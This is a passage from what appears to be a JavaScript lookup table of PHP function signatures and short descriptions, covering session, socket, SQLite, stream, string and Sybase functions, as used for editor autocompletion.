new_cache_limiter\"],session_decode:[\"bool session_decode(string data)\",\"Deserializes data and reinitializes the variables\"],session_destroy:[\"bool session_destroy(void)\",\"Destroy the current session and all data associated with it\"],session_encode:[\"string session_encode(void)\",\"Serializes the current setup and returns the serialized representation\"],session_get_cookie_params:[\"array session_get_cookie_params(void)\",\"Return the session cookie parameters\"],session_id:[\"string session_id([string newid])\",\"Return the current session id. If newid is given, the session id is replaced with newid\"],session_is_registered:[\"bool session_is_registered(string varname)\",\"Checks if a variable is registered in session\"],session_module_name:[\"string session_module_name([string newname])\",\"Return the current module name used for accessing session data. If newname is given, the module name is replaced with newname\"],session_name:[\"string session_name([string newname])\",\"Return the current session name. If newname is given, the session name is replaced with newname\"],session_regenerate_id:[\"bool session_regenerate_id([bool delete_old_session])\",\"Update the current session id with a newly generated one. If delete_old_session is set to true, remove the old session.\"],session_register:[\"bool session_register(mixed var_names [, mixed ...])\",\"Adds varname(s) to the list of variables which are freezed at the session end\"],session_save_path:[\"string session_save_path([string newname])\",\"Return the current save path passed to module_name. If newname is given, the save path is replaced with newname\"],session_set_cookie_params:[\"void session_set_cookie_params(int lifetime [, string path [, string domain [, bool secure[, bool httponly]]]])\",\"Set session cookie parameters\"],session_set_save_handler:[\"void session_set_save_handler(string open, string close, string read, string write, string destroy, string gc)\",\"Sets user-level functions\"],session_start:[\"bool session_start(void)\",\"Begin session - reinitializes freezed variables, registers browsers etc\"],session_unregister:[\"bool session_unregister(string varname)\",\"Removes varname from the list of variables which are freezed at the session end\"],session_unset:[\"void session_unset(void)\",\"Unset all registered variables\"],session_write_close:[\"void session_write_close(void)\",\"Write session data and end session\"],set_error_handler:[\"string set_error_handler(string error_handler [, int error_types])\",\"Sets a user-defined error handler function.  Returns the previously defined error handler, or false on error\"],set_exception_handler:[\"string set_exception_handler(callable exception_handler)\",\"Sets a user-defined exception handler function.  Returns the previously defined exception handler, or false on error\"],set_include_path:[\"string set_include_path(string new_include_path)\",\"Sets the include_path configuration option\"],set_magic_quotes_runtime:[\"bool set_magic_quotes_runtime(int new_setting)\",\"Set the current active configuration setting of magic_quotes_runtime and return previous\"],set_time_limit:[\"bool set_time_limit(int seconds)\",\"Sets the maximum time a script can run\"],setcookie:[\"bool setcookie(string name [, string value [, int expires [, string path [, string domain [, bool secure[, bool httponly]]]]]])\",\"Send a cookie\"],setlocale:[\"string setlocale(mixed category, string locale [, string ...])\",\"Set locale information\"],setrawcookie:[\"bool setrawcookie(string name [, string value [, int expires [, string path [, string domain [, bool secure[, bool httponly]]]]]])\",\"Send a cookie with no url encoding of the value\"],settype:[\"bool settype(mixed var, string type)\",\"Set the type of the variable\"],sha1:[\"string sha1(string str [, bool raw_output])\",\"Calculate the sha1 hash of a string\"],sha1_file:[\"string sha1_file(string filename [, bool raw_output])\",\"Calculate the sha1 hash of given filename\"],shell_exec:[\"string shell_exec(string cmd)\",\"Execute command via shell and return complete output as string\"],shm_attach:[\"int shm_attach(int key [, int memsize [, int perm]])\",\"Creates or open a shared memory segment\"],shm_detach:[\"bool shm_detach(resource shm_identifier)\",\"Disconnects from shared memory segment\"],shm_get_var:[\"mixed shm_get_var(resource id, int variable_key)\",\"Returns a variable from shared memory\"],shm_has_var:[\"bool shm_has_var(resource id, int variable_key)\",\"Checks whether a specific entry exists\"],shm_put_var:[\"bool shm_put_var(resource shm_identifier, int variable_key, mixed variable)\",\"Inserts or updates a variable in shared memory\"],shm_remove:[\"bool shm_remove(resource shm_identifier)\",\"Removes shared memory from Unix systems\"],shm_remove_var:[\"bool shm_remove_var(resource id, int variable_key)\",\"Removes variable from shared memory\"],shmop_close:[\"void shmop_close (int shmid)\",\"closes a shared memory segment\"],shmop_delete:[\"bool shmop_delete (int shmid)\",\"mark segment for deletion\"],shmop_open:[\"int shmop_open (int key, string flags, int mode, int size)\",\"gets and attaches a shared memory segment\"],shmop_read:[\"string shmop_read (int shmid, int start, int count)\",\"reads from a shm segment\"],shmop_size:[\"int shmop_size (int shmid)\",\"returns the shm size\"],shmop_write:[\"int shmop_write (int shmid, string data, int offset)\",\"writes to a shared memory segment\"],shuffle:[\"bool shuffle(array array_arg)\",\"Randomly shuffle the contents of an array\"],similar_text:[\"int similar_text(string str1, string str2 [, float percent])\",\"Calculates the similarity between two strings\"],simplexml_import_dom:[\"simplemxml_element simplexml_import_dom(domNode node [, string class_name])\",\"Get a simplexml_element object from dom to allow for processing\"],simplexml_load_file:[\"simplemxml_element simplexml_load_file(string filename [, string class_name [, int options [, string ns [, bool is_prefix]]]])\",\"Load a filename and return a simplexml_element object to allow for processing\"],simplexml_load_string:[\"simplemxml_element simplexml_load_string(string data [, string class_name [, int options [, string ns [, bool is_prefix]]]])\",\"Load a string and return a simplexml_element object to allow for processing\"],sin:[\"float sin(float number)\",\"Returns the sine of the number in radians\"],sinh:[\"float sinh(float number)\",\"Returns the hyperbolic sine of the number, defined as (exp(number) - exp(-number))/2\"],sleep:[\"void sleep(int seconds)\",\"Delay for a given number of seconds\"],smfi_addheader:[\"bool smfi_addheader(string headerf, string headerv)\",\"Adds a header to the current message.\"],smfi_addrcpt:[\"bool smfi_addrcpt(string rcpt)\",\"Add a recipient to the message envelope.\"],smfi_chgheader:[\"bool smfi_chgheader(string headerf, string headerv)\",\"Changes a header's value for the current message.\"],smfi_delrcpt:[\"bool smfi_delrcpt(string rcpt)\",\"Removes the named recipient from the current message's envelope.\"],smfi_getsymval:[\"string smfi_getsymval(string macro)\",\"Returns the value of the given macro or NULL if the macro is not defined.\"],smfi_replacebody:[\"bool smfi_replacebody(string body)\",\"Replaces the body of the current message. If called more than once,    subsequent calls result in data being appended to the new body.\"],smfi_setflags:[\"void smfi_setflags(long flags)\",\"Sets the flags describing the actions the filter may take.\"],smfi_setreply:[\"bool smfi_setreply(string rcode, string xcode, string message)\",\"Directly set the SMTP error reply code for this connection.    This code will be used on subsequent error replies resulting from actions taken by this filter.\"],smfi_settimeout:[\"void smfi_settimeout(long timeout)\",\"Sets the number of seconds libmilter will wait for an MTA connection before timing out a socket.\"],snmp2_get:[\"string snmp2_get(string host, string community, string object_id [, int timeout [, int retries]])\",\"Fetch a SNMP object\"],snmp2_getnext:[\"string snmp2_getnext(string host, string community, string object_id [, int timeout [, int retries]])\",\"Fetch a SNMP object\"],snmp2_real_walk:[\"array snmp2_real_walk(string host, string community, string object_id [, int timeout [, int retries]])\",\"Return all objects including their respective object id withing the specified one\"],snmp2_set:[\"int snmp2_set(string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]])\",\"Set the value of a SNMP object\"],snmp2_walk:[\"array snmp2_walk(string host, string community, string object_id [, int timeout [, int retries]])\",\"Return all objects under the specified object id\"],snmp3_get:[\"int snmp3_get(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]])\",\"Fetch the value of a SNMP object\"],snmp3_getnext:[\"int snmp3_getnext(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]])\",\"Fetch the value of a SNMP object\"],snmp3_real_walk:[\"int snmp3_real_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]])\",\"Fetch the value of a SNMP object\"],snmp3_set:[\"int snmp3_set(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id, string type, mixed value [, int timeout [, int retries]])\",\"Fetch the value of a SNMP object\"],snmp3_walk:[\"int snmp3_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, string object_id [, int timeout [, int retries]])\",\"Fetch the value of a SNMP object\"],snmp_get_quick_print:[\"bool snmp_get_quick_print(void)\",\"Return the current status of quick_print\"],snmp_get_valueretrieval:[\"int snmp_get_valueretrieval()\",\"Return the method how the SNMP values will be returned\"],snmp_read_mib:[\"int snmp_read_mib(string filename)\",\"Reads and parses a MIB file into the active MIB tree.\"],snmp_set_enum_print:[\"void snmp_set_enum_print(int enum_print)\",\"Return all values that are enums with their enum value instead of the raw integer\"],snmp_set_oid_output_format:[\"void snmp_set_oid_output_format(int oid_format)\",\"Set the OID output format.\"],snmp_set_quick_print:[\"void snmp_set_quick_print(int quick_print)\",\"Return all objects including their respective object id withing the specified one\"],snmp_set_valueretrieval:[\"void snmp_set_valueretrieval(int method)\",\"Specify the method how the SNMP values will be returned\"],snmpget:[\"string snmpget(string host, string community, string object_id [, int timeout [, int retries]])\",\"Fetch a SNMP object\"],snmpgetnext:[\"string snmpgetnext(string host, string community, string object_id [, int timeout [, int retries]])\",\"Fetch a SNMP object\"],snmprealwalk:[\"array snmprealwalk(string host, string community, string object_id [, int timeout [, int retries]])\",\"Return all objects including their respective object id withing the specified one\"],snmpset:[\"int snmpset(string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]])\",\"Set the value of a SNMP object\"],snmpwalk:[\"array snmpwalk(string host, string community, string object_id [, int timeout [, int retries]])\",\"Return all objects under the specified object id\"],socket_accept:[\"resource socket_accept(resource socket)\",\"Accepts a connection on the listening socket fd\"],socket_bind:[\"bool socket_bind(resource socket, string addr [, int port])\",\"Binds an open socket to a listening port, port is only specified in AF_INET family.\"],socket_clear_error:[\"void socket_clear_error([resource socket])\",\"Clears the error on the socket or the last error code.\"],socket_close:[\"void socket_close(resource socket)\",\"Closes a file descriptor\"],socket_connect:[\"bool socket_connect(resource socket, string addr [, int port])\",\"Opens a connection to addr:port on the socket specified by socket\"],socket_create:[\"resource socket_create(int domain, int type, int protocol)\",\"Creates an endpoint for communication in the domain specified by domain, of type specified by type\"],socket_create_listen:[\"resource socket_create_listen(int port[, int backlog])\",\"Opens a socket on port to accept connections\"],socket_create_pair:[\"bool socket_create_pair(int domain, int type, int protocol, array &fd)\",\"Creates a pair of indistinguishable sockets and stores them in fds.\"],socket_get_option:[\"mixed socket_get_option(resource socket, int level, int optname)\",\"Gets socket options for the socket\"],socket_getpeername:[\"bool socket_getpeername(resource socket, string &addr[, int &port])\",\"Queries the remote side of the given socket which may either result in host/port or in a UNIX filesystem path, dependent on its type.\"],socket_getsockname:[\"bool socket_getsockname(resource socket, string &addr[, int &port])\",\"Queries the remote side of the given socket which may either result in host/port or in a UNIX filesystem path, dependent on its type.\"],socket_last_error:[\"int socket_last_error([resource socket])\",\"Returns the last socket error (either the last used or the provided socket resource)\"],socket_listen:[\"bool socket_listen(resource socket[, int backlog])\",\"Sets the maximum number of connections allowed to be waited for on the socket specified by fd\"],socket_read:[\"string socket_read(resource socket, int length [, int type])\",\"Reads a maximum of length bytes from socket\"],socket_recv:[\"int socket_recv(resource socket, string &buf, int len, int flags)\",\"Receives data from a connected socket\"],socket_recvfrom:[\"int socket_recvfrom(resource socket, string &buf, int len, int flags, string &name [, int &port])\",\"Receives data from a socket, connected or not\"],socket_select:[\"int socket_select(array &read_fds, array &write_fds, array &except_fds, int tv_sec[, int tv_usec])\",\"Runs the select() system call on the sets mentioned with a timeout specified by tv_sec and tv_usec\"],socket_send:[\"int socket_send(resource socket, string buf, int len, int flags)\",\"Sends data to a connected socket\"],socket_sendto:[\"int socket_sendto(resource socket, string buf, int len, int flags, string addr [, int port])\",\"Sends a message to a socket, whether it is connected or not\"],socket_set_block:[\"bool socket_set_block(resource socket)\",\"Sets blocking mode on a socket resource\"],socket_set_nonblock:[\"bool socket_set_nonblock(resource socket)\",\"Sets nonblocking mode on a socket resource\"],socket_set_option:[\"bool socket_set_option(resource socket, int level, int optname, int|array optval)\",\"Sets socket options for the socket\"],socket_shutdown:[\"bool socket_shutdown(resource socket[, int how])\",\"Shuts down a socket for receiving, sending, or both.\"],socket_strerror:[\"string socket_strerror(int errno)\",\"Returns a string describing an error\"],socket_write:[\"int socket_write(resource socket, string buf[, int length])\",\"Writes the buffer to the socket resource, length is optional\"],solid_fetch_prev:[\"bool solid_fetch_prev(resource result_id)\",\"\"],sort:[\"bool sort(array &array_arg [, int sort_flags])\",\"Sort an array\"],soundex:[\"string soundex(string str)\",\"Calculate the soundex key of a string\"],spl_autoload:[\"void spl_autoload(string class_name [, string file_extensions])\",\"Default implementation for __autoload()\"],spl_autoload_call:[\"void spl_autoload_call(string class_name)\",\"Try all registerd autoload function to load the requested class\"],spl_autoload_extensions:[\"string spl_autoload_extensions([string file_extensions])\",\"Register and return default file extensions for spl_autoload\"],spl_autoload_functions:[\"false|array spl_autoload_functions()\",\"Return all registered __autoload() functionns\"],spl_autoload_register:['bool spl_autoload_register([mixed autoload_function = \"spl_autoload\" [, throw = true [, prepend]]])',\"Register given function as __autoload() implementation\"],spl_autoload_unregister:[\"bool spl_autoload_unregister(mixed autoload_function)\",\"Unregister given function as __autoload() implementation\"],spl_classes:[\"array spl_classes()\",\"Return an array containing the names of all clsses and interfaces defined in SPL\"],spl_object_hash:[\"string spl_object_hash(object obj)\",\"Return hash id for given object\"],split:[\"array split(string pattern, string string [, int limit])\",\"Split string into array by regular expression\"],spliti:[\"array spliti(string pattern, string string [, int limit])\",\"Split string into array by regular expression case-insensitive\"],sprintf:[\"string sprintf(string format [, mixed arg1 [, mixed ...]])\",\"Return a formatted string\"],sql_regcase:[\"string sql_regcase(string string)\",\"Make regular expression for case insensitive match\"],sqlite_array_query:[\"array sqlite_array_query(resource db, string query [ , int result_type [, bool decode_binary]])\",\"Executes a query against a given database and returns an array of arrays.\"],sqlite_busy_timeout:[\"void sqlite_busy_timeout(resource db, int ms)\",\"Set busy timeout duration. If ms <= 0, all busy handlers are disabled.\"],sqlite_changes:[\"int sqlite_changes(resource db)\",\"Returns the number of rows that were changed by the most recent SQL statement.\"],sqlite_close:[\"void sqlite_close(resource db)\",\"Closes an open sqlite database.\"],sqlite_column:[\"mixed sqlite_column(resource result, mixed index_or_name [, bool decode_binary])\",\"Fetches a column from the current row of a result set.\"],sqlite_create_aggregate:[\"bool sqlite_create_aggregate(resource db, string funcname, mixed step_func, mixed finalize_func[, long num_args])\",\"Registers an aggregate function for queries.\"],sqlite_create_function:[\"bool sqlite_create_function(resource db, string funcname, mixed callback[, long num_args])\",'Registers a \"regular\" function for queries.'],sqlite_current:[\"array sqlite_current(resource result [, int result_type [, bool decode_binary]])\",\"Fetches the current row from a result set as an array.\"],sqlite_error_string:[\"string sqlite_error_string(int error_code)\",\"Returns the textual description of an error code.\"],sqlite_escape_string:[\"string sqlite_escape_string(string item)\",\"Escapes a string for use as a query parameter.\"],sqlite_exec:[\"boolean sqlite_exec(string query, resource db[, string &error_message])\",\"Executes a result-less query against a given database\"],sqlite_factory:[\"object sqlite_factory(string filename [, int mode [, string &error_message]])\",\"Opens a SQLite database and creates an object for it. Will create the database if it does not exist.\"],sqlite_fetch_all:[\"array sqlite_fetch_all(resource result [, int result_type [, bool decode_binary]])\",\"Fetches all rows from a result set as an array of arrays.\"],sqlite_fetch_array:[\"array sqlite_fetch_array(resource result [, int result_type [, bool decode_binary]])\",\"Fetches the next row from a result set as an array.\"],sqlite_fetch_column_types:[\"resource sqlite_fetch_column_types(string table_name, resource db [, int result_type])\",\"Return an array of column types from a particular table.\"],sqlite_fetch_object:[\"object sqlite_fetch_object(resource result [, string class_name [, NULL|array ctor_params [, bool decode_binary]]])\",\"Fetches the next row from a result set as an object.\"],sqlite_fetch_single:[\"string sqlite_fetch_single(resource result [, bool decode_binary])\",\"Fetches the first column of a result set as a string.\"],sqlite_field_name:[\"string sqlite_field_name(resource result, int field_index)\",\"Returns the name of a particular field of a result set.\"],sqlite_has_prev:[\"bool sqlite_has_prev(resource result)\",\"* Returns whether a previous row is available.\"],sqlite_key:[\"int sqlite_key(resource result)\",\"Return the current row index of a buffered result.\"],sqlite_last_error:[\"int sqlite_last_error(resource db)\",\"Returns the error code of the last error for a database.\"],sqlite_last_insert_rowid:[\"int sqlite_last_insert_rowid(resource db)\",\"Returns the rowid of the most recently inserted row.\"],sqlite_libencoding:[\"string sqlite_libencoding()\",\"Returns the encoding (iso8859 or UTF-8) of the linked SQLite library.\"],sqlite_libversion:[\"string sqlite_libversion()\",\"Returns the version of the linked SQLite library.\"],sqlite_next:[\"bool sqlite_next(resource result)\",\"Seek to the next row number of a result set.\"],sqlite_num_fields:[\"int sqlite_num_fields(resource result)\",\"Returns the number of fields in a result set.\"],sqlite_num_rows:[\"int sqlite_num_rows(resource result)\",\"Returns the number of rows in a buffered result set.\"],sqlite_open:[\"resource sqlite_open(string filename [, int mode [, string &error_message]])\",\"Opens a SQLite database. Will create the database if it does not exist.\"],sqlite_popen:[\"resource sqlite_popen(string filename [, int mode [, string &error_message]])\",\"Opens a persistent handle to a SQLite database. Will create the database if it does not exist.\"],sqlite_prev:[\"bool sqlite_prev(resource result)\",\"* Seek to the previous row number of a result set.\"],sqlite_query:[\"resource sqlite_query(string query, resource db [, int result_type [, string &error_message]])\",\"Executes a query against a given database and returns a result handle.\"],sqlite_rewind:[\"bool sqlite_rewind(resource result)\",\"Seek to the first row number of a buffered result set.\"],sqlite_seek:[\"bool sqlite_seek(resource result, int row)\",\"Seek to a particular row number of a buffered result set.\"],sqlite_single_query:[\"array sqlite_single_query(resource db, string query [, bool first_row_only [, bool decode_binary]])\",\"Executes a query and returns either an array for one single column or the value of the first row.\"],sqlite_udf_decode_binary:[\"string sqlite_udf_decode_binary(string data)\",\"Decode binary encoding on a string parameter passed to an UDF.\"],sqlite_udf_encode_binary:[\"string sqlite_udf_encode_binary(string data)\",\"Apply binary encoding (if required) to a string to return from an UDF.\"],sqlite_unbuffered_query:[\"resource sqlite_unbuffered_query(string query, resource db [ , int result_type [, string &error_message]])\",\"Executes a query that does not prefetch and buffer all data.\"],sqlite_valid:[\"bool sqlite_valid(resource result)\",\"Returns whether more rows are available.\"],sqrt:[\"float sqrt(float number)\",\"Returns the square root of the number\"],srand:[\"void srand([int seed])\",\"Seeds random number generator\"],sscanf:[\"mixed sscanf(string str, string format [, string ...])\",\"Implements an ANSI C compatible sscanf\"],stat:[\"array stat(string filename)\",\"Give information about a file\"],str_getcsv:[\"array str_getcsv(string input[, string delimiter[, string enclosure[, string escape]]])\",\"Parse a CSV string into an array\"],str_ireplace:[\"mixed str_ireplace(mixed search, mixed replace, mixed subject [, int &replace_count])\",\"Replaces all occurrences of search in haystack with replace / case-insensitive\"],str_pad:[\"string str_pad(string input, int pad_length [, string pad_string [, int pad_type]])\",\"Returns input string padded on the left or right to specified length with pad_string\"],str_repeat:[\"string str_repeat(string input, int mult)\",\"Returns the input string repeat mult times\"],str_replace:[\"mixed str_replace(mixed search, mixed replace, mixed subject [, int &replace_count])\",\"Replaces all occurrences of search in haystack with replace\"],str_rot13:[\"string str_rot13(string str)\",\"Perform the rot13 transform on a string\"],str_shuffle:[\"void str_shuffle(string str)\",\"Shuffles string. One permutation of all possible is created\"],str_split:[\"array str_split(string str [, int split_length])\",\"Convert a string to an array. If split_length is specified, break the string down into chunks each split_length characters long.\"],str_word_count:[\"mixed str_word_count(string str, [int format [, string charlist]])\",'Counts the number of words inside a string. If format of 1 is specified,     then the function will return an array containing all the words     found inside the string. If format of 2 is specified, then the function     will return an associated array where the position of the word is the key     and the word itself is the value.          For the purpose of this function, \\'word\\' is defined as a locale dependent     string containing alphabetic characters, which also may contain, but not start     with \"\\'\" and \"-\" characters.'],strcasecmp:[\"int strcasecmp(string str1, string str2)\",\"Binary safe case-insensitive string comparison\"],strchr:[\"string strchr(string haystack, string needle)\",\"An alias for strstr\"],strcmp:[\"int strcmp(string str1, string str2)\",\"Binary safe string comparison\"],strcoll:[\"int strcoll(string str1, string str2)\",\"Compares two strings using the current locale\"],strcspn:[\"int strcspn(string str, string mask [, start [, len]])\",\"Finds length of initial segment consisting entirely of characters not found in mask. If start or/and length is provide works like strcspn(substr($s,$start,$len),$bad_chars)\"],stream_bucket_append:[\"void stream_bucket_append(resource brigade, resource bucket)\",\"Append bucket to brigade\"],stream_bucket_make_writeable:[\"object stream_bucket_make_writeable(resource brigade)\",\"Return a bucket object from the brigade for operating on\"],stream_bucket_new:[\"resource stream_bucket_new(resource stream, string buffer)\",\"Create a new bucket for use on the current stream\"],stream_bucket_prepend:[\"void stream_bucket_prepend(resource brigade, resource bucket)\",\"Prepend bucket to brigade\"],stream_context_create:[\"resource stream_context_create([array options[, array params]])\",\"Create a file context and optionally set parameters\"],stream_context_get_default:[\"resource stream_context_get_default([array options])\",\"Get a handle on the default file/stream context and optionally set parameters\"],stream_context_get_options:[\"array stream_context_get_options(resource context|resource stream)\",\"Retrieve options for a stream/wrapper/context\"],stream_context_get_params:[\"array stream_context_get_params(resource context|resource stream)\",\"Get parameters of a file context\"],stream_context_set_default:[\"resource stream_context_set_default(array options)\",\"Set default file/stream context, returns the context as a resource\"],stream_context_set_option:[\"bool stream_context_set_option(resource context|resource stream, string wrappername, string optionname, mixed value)\",\"Set an option for a wrapper\"],stream_context_set_params:[\"bool stream_context_set_params(resource context|resource stream, array options)\",\"Set parameters for a file context\"],stream_copy_to_stream:[\"long stream_copy_to_stream(resource source, resource dest [, long maxlen [, long pos]])\",\"Reads up to maxlen bytes from source stream and writes them to dest stream.\"],stream_filter_append:[\"resource stream_filter_append(resource stream, string filtername[, int read_write[, string filterparams]])\",\"Append a filter to a stream\"],stream_filter_prepend:[\"resource stream_filter_prepend(resource stream, string filtername[, int read_write[, string filterparams]])\",\"Prepend a filter to a stream\"],stream_filter_register:[\"bool stream_filter_register(string filtername, string classname)\",\"Registers a custom filter handler class\"],stream_filter_remove:[\"bool stream_filter_remove(resource stream_filter)\",\"Flushes any data in the filter's internal buffer, removes it from the chain, and frees the resource\"],stream_get_contents:[\"string stream_get_contents(resource source [, long maxlen [, long offset]])\",\"Reads all remaining bytes (or up to maxlen bytes) from a stream and returns them as a string.\"],stream_get_filters:[\"array stream_get_filters(void)\",\"Returns a list of registered filters\"],stream_get_line:[\"string stream_get_line(resource stream, int maxlen [, string ending])\",\"Read up to maxlen bytes from a stream or until the ending string is found\"],stream_get_meta_data:[\"array stream_get_meta_data(resource fp)\",\"Retrieves header/meta data from streams/file pointers\"],stream_get_transports:[\"array stream_get_transports()\",\"Retrieves list of registered socket transports\"],stream_get_wrappers:[\"array stream_get_wrappers()\",\"Retrieves list of registered stream wrappers\"],stream_is_local:[\"bool stream_is_local(resource stream|string url)\",\"\"],stream_resolve_include_path:[\"string stream_resolve_include_path(string filename)\",\"Determine what file will be opened by calls to fopen() with a relative path\"],stream_select:[\"int stream_select(array &read_streams, array &write_streams, array &except_streams, int tv_sec[, int tv_usec])\",\"Runs the select() system call on the sets of streams with a timeout specified by tv_sec and tv_usec\"],stream_set_blocking:[\"bool stream_set_blocking(resource socket, int mode)\",\"Set blocking/non-blocking mode on a socket or stream\"],stream_set_timeout:[\"bool stream_set_timeout(resource stream, int seconds [, int microseconds])\",\"Set timeout on stream read to seconds + microseonds\"],stream_set_write_buffer:[\"int stream_set_write_buffer(resource fp, int buffer)\",\"Set file write buffer\"],stream_socket_accept:[\"resource stream_socket_accept(resource serverstream, [ double timeout [, string &peername ]])\",\"Accept a client connection from a server socket\"],stream_socket_client:[\"resource stream_socket_client(string remoteaddress [, long &errcode [, string &errstring [, double timeout [, long flags [, resource context]]]]])\",\"Open a client connection to a remote address\"],stream_socket_enable_crypto:[\"int stream_socket_enable_crypto(resource stream, bool enable [, int cryptokind [, resource sessionstream]])\",\"Enable or disable a specific kind of crypto on the stream\"],stream_socket_get_name:[\"string stream_socket_get_name(resource stream, bool want_peer)\",\"Returns either the locally bound or remote name for a socket stream\"],stream_socket_pair:[\"array stream_socket_pair(int domain, int type, int protocol)\",\"Creates a pair of connected, indistinguishable socket streams\"],stream_socket_recvfrom:[\"string stream_socket_recvfrom(resource stream, long amount [, long flags [, string &remote_addr]])\",\"Receives data from a socket stream\"],stream_socket_sendto:[\"long stream_socket_sendto(resouce stream, string data [, long flags [, string target_addr]])\",\"Send data to a socket stream.  If target_addr is specified it must be in dotted quad (or [ipv6]) format\"],stream_socket_server:[\"resource stream_socket_server(string localaddress [, long &errcode [, string &errstring [, long flags [, resource context]]]])\",\"Create a server socket bound to localaddress\"],stream_socket_shutdown:[\"int stream_socket_shutdown(resource stream, int how)\",\"causes all or part of a full-duplex connection on the socket associated  with stream to be shut down.  If how is SHUT_RD,  further receptions will  be disallowed. If how is SHUT_WR, further transmissions will be disallowed.  If how is SHUT_RDWR,  further  receptions and transmissions will be  disallowed.\"],stream_supports_lock:[\"bool stream_supports_lock(resource stream)\",\"Tells wether the stream supports locking through flock().\"],stream_wrapper_register:[\"bool stream_wrapper_register(string protocol, string classname[, integer flags])\",\"Registers a custom URL protocol handler class\"],stream_wrapper_restore:[\"bool stream_wrapper_restore(string protocol)\",\"Restore the original protocol handler, overriding if necessary\"],stream_wrapper_unregister:[\"bool stream_wrapper_unregister(string protocol)\",\"Unregister a wrapper for the life of the current request.\"],strftime:[\"string strftime(string format [, int timestamp])\",\"Format a local time/date according to locale settings\"],strip_tags:[\"string strip_tags(string str [, string allowable_tags])\",\"Strips HTML and PHP tags from a string\"],stripcslashes:[\"string stripcslashes(string str)\",\"Strips backslashes from a string. Uses C-style conventions\"],stripos:[\"int stripos(string haystack, string needle [, int offset])\",\"Finds position of first occurrence of a string within another, case insensitive\"],stripslashes:[\"string stripslashes(string str)\",\"Strips backslashes from a string\"],stristr:[\"string stristr(string haystack, string needle[, bool part])\",\"Finds first occurrence of a string within another, case insensitive\"],strlen:[\"int strlen(string str)\",\"Get string length\"],strnatcasecmp:[\"int strnatcasecmp(string s1, string s2)\",\"Returns the result of case-insensitive string comparison using 'natural' algorithm\"],strnatcmp:[\"int strnatcmp(string s1, string s2)\",\"Returns the result of string comparison using 'natural' algorithm\"],strncasecmp:[\"int strncasecmp(string str1, string str2, int len)\",\"Binary safe string comparison\"],strncmp:[\"int strncmp(string str1, string str2, int len)\",\"Binary safe string comparison\"],strpbrk:[\"array strpbrk(string haystack, string char_list)\",\"Search a string for any of a set of characters\"],strpos:[\"int strpos(string haystack, string needle [, int offset])\",\"Finds position of first occurrence of a string within another\"],strptime:[\"string strptime(string timestamp, string format)\",\"Parse a time/date generated with strftime()\"],strrchr:[\"string strrchr(string haystack, string needle)\",\"Finds the last occurrence of a character in a string within another\"],strrev:[\"string strrev(string str)\",\"Reverse a string\"],strripos:[\"int strripos(string haystack, string needle [, int offset])\",\"Finds position of last occurrence of a string within another string\"],strrpos:[\"int strrpos(string haystack, string needle [, int offset])\",\"Finds position of last occurrence of a string within another string\"],strspn:[\"int strspn(string str, string mask [, start [, len]])\",\"Finds length of initial segment consisting entirely of characters found in mask. If start or/and length is provided works like strspn(substr($s,$start,$len),$good_chars)\"],strstr:[\"string strstr(string haystack, string needle[, bool part])\",\"Finds first occurrence of a string within another\"],strtok:[\"string strtok([string str,] string token)\",\"Tokenize a string\"],strtolower:[\"string strtolower(string str)\",\"Makes a string lowercase\"],strtotime:[\"int strtotime(string time [, int now ])\",\"Convert string representation of date and time to a timestamp\"],strtoupper:[\"string strtoupper(string str)\",\"Makes a string uppercase\"],strtr:[\"string strtr(string str, string from[, string to])\",\"Translates characters in str using given translation tables\"],strval:[\"string strval(mixed var)\",\"Get the string value of a variable\"],substr:[\"string substr(string str, int start [, int length])\",\"Returns part of a string\"],substr_compare:[\"int substr_compare(string main_str, string str, int offset [, int length [, bool case_sensitivity]])\",\"Binary safe optionally case insensitive comparison of 2 strings from an offset, up to length characters\"],substr_count:[\"int substr_count(string haystack, string needle [, int offset [, int length]])\",\"Returns the number of times a substring occurs in the string\"],substr_replace:[\"mixed substr_replace(mixed str, mixed repl, mixed start [, mixed length])\",\"Replaces part of a string with another string\"],sybase_affected_rows:[\"int sybase_affected_rows([resource link_id])\",\"Get number of affected rows in last query\"],sybase_close:[\"bool sybase_close([resource link_id])\",\"Close Sybase connection\"],sybase_connect:[\"int sybase_connect([string host [, string user [, string password [, string charset [, string appname [, bool new]]]]]])\",\"Open Sybase server connection\"],sybase_data_seek:[\"bool sybase_data_seek(resource result, int offset)\",\"Move internal row pointer\"],sybase_deadlock_retry_count:[\"void sybase_deadlock_retry_count(int retry_count)\",\"Sets deadlock retry count\"],sybase_fetch_array:[\"array sybase_fetch_array(resource result)\",\"Fetch row as array\"],sybase_fetch_assoc:[\"array sybase_fetch_assoc(resource result)\",\"Fetch row as array without numberic indices\"],sybase_fetch_field:[\"object sybase_fetch_field(resource result [, int offset])\",\"Get field information\"],sybase_fetch_object:[\"object sybase_fetch_object(resource result [, mixed object])\",\"Fetch row as object\"],sybase_fetch_row:[\"array sybase_fetch_row(resource result)\",\"Get row as enumerated array\"],sybase_field_seek:[\"bool sybase_field_seek(resource result, int offset)\",\"Set field offset\"],sybase_free_result:[\"bool sybase_free_result(resource result)\",\"Free result memory\"],sybase_get_last_message:[\"string sybase_get_last_message(void)\",\"Returns the last message from server (over min_message_severity)\"],sybase_min_client_severity:[\"void sybase_min_client_severity(int severity)\",\"Sets minimum client severity\"],sybase_min_server_severity:[\"void sybase_min_server_severity(int severity)\",\"Sets minimum server severity\"],sybase_num_fields:[\"int sybase_num_fields(resource result)\",\"Get number of fields in result\"],sybase_num_rows:[\"int sybase_num_rows(resource result)\",\"Get number of rows in result\"],sybase_pconnect:[\"int sybase_pconnect([string host [, string user [, string password [, string charset [, string appname]]]]])\",\"Open persistent Sybase connection\"],sybase_query:[\"int sybase_query(string query [, resource link_id])\",\"Send Sybase query\"],sybase_result:[\"string sybase_result(resource result, int row, mixed field)\",\"Get result data\"],sybase_select_db:[\"bool sybase_select_db(string database [, resource link_id])\",\"Select Sybase database\"],sybase_set_message_handler:[\"bool sybase_set_message_handler(mixed error_func [, resource connection])\",\"Set the error handler, to be called when a 